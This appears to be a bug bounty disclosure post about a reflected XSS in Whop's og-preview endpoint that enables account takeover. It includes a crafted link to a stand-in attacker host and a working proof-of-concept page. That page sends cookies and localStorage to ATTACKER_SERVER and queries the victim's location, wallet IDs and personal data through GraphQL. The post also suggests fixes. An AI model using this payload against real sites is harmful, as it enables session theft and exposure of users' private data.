Reflected XSS to account takeover on Whop via og-preview
Recently, I found a bug during my bug bounty. Unfortunately, it was a duplicate...
However, still wanted to share since it was a very fun bug!
I found a reflected XSS on whop.com that gives full account takeover with a single click. It was reported through HackerOne.
For context, Whop is a social commerce platform and digital marketplace where creators, influencers, and entrepreneurs can build customized online stores to sell digital products, courses, software subscriptions, and private online communities.

The bug
Whop has an endpoint at /api/og-preview that takes a url parameter, fetches it server-side, and serves the response back to the browser with Content-Type: text/html. There was sanitization, sandboxing and CSP frame. The response was served directly on the whop.com origin.
That means if you point it at an attacker-controlled URL hosting arbitrary HTML, the browser executes it as if it came from whop.com.
https://whop.com/api/og-preview?url=https://attacker.example.com/payload.html
Victim clicks the link, attacker's JavaScript runs in the whop.com origin. WHile the cookies had a http-only flag, the attacker could still session ride on the victims-account accessing everything through the api calls with their accounts. ALl of this was done through a thumbnail-previewer!
What you get
From a single click, the attacker's script has access to:
- All non-HttpOnly cookies:
whop-core.user-id,whop-core.ssk,__Host-whop-core.csrf-token, Intercom session tokens - Full
localStoragecontents includingajs_user_traitswhich contains email, name, date of birth, username, and internal employee flags - The ability to make authenticated API calls as the victim
The cookies alone are enough to hijack the session. But the real damage comes from the authenticated API access. From the XSS context you can call any endpoint as the victim, including their GraphQL API:
fetch('/api/graphql/PublicUser/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
operationName: 'PublicUser',
query: `query PublicUser {
publicUser(id: "VICTIM_USER_ID") {
id username name email
latitude longitude city country state timezone
lastSeenAt
cryptoWallets { edges { node { id } } }
publicLedgerAccount { id }
}
}`
})
})
That pulls GPS coordinates, crypto wallet IDs, ledger accounts, and PII. You can also generate WebSocket JWTs for real-time access, modify account settings, transfer funds — anything the victim can do, the attacker can do from the script.
The PoC
The payload I used for the report was a self-contained page that demonstrates the full impact. It reads cookies and localStorage, then makes authenticated GraphQL calls to pull the victim's private data:
<html>
<body>
<script>
var uid = (document.cookie.match(/whop-core\.user-id=([^;]+)/) || [])[1];
var traits;
try { traits = JSON.parse(localStorage.getItem('ajs_user_traits')); } catch(e) {}
// Exfiltrate session data
fetch('https://ATTACKER_SERVER/?cookies=' + encodeURIComponent(document.cookie)
+ '&localstorage=' + encodeURIComponent(JSON.stringify(localStorage)));
// Pull victim's private data via authenticated GraphQL
fetch('/api/graphql/PublicUser/', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
operationName: 'PublicUser',
query: 'query PublicUser { publicUser(id: "' + uid + '") { id name latitude longitude city country timezone lastSeenAt cryptoWallets { edges { node { id } } } publicLedgerAccount { id } } }'
})
}).then(r => r.json()).then(d => {
// Attacker now has GPS coords, wallet IDs, and PII
});
</script>
</body>
</html>
Why this works
The og-preview endpoint is meant to generate Open Graph previews — fetch a URL and extract its metadata for link cards. The problem is it returns the fetched content directly as text/html on the whop.com origin instead of parsing out just the OG tags and returning structured data.
The fix is straightforward: either return the OG metadata as JSON, render it in a sandboxed iframe on a throwaway domain, or at minimum set Content-Type: application/json and strip HTML.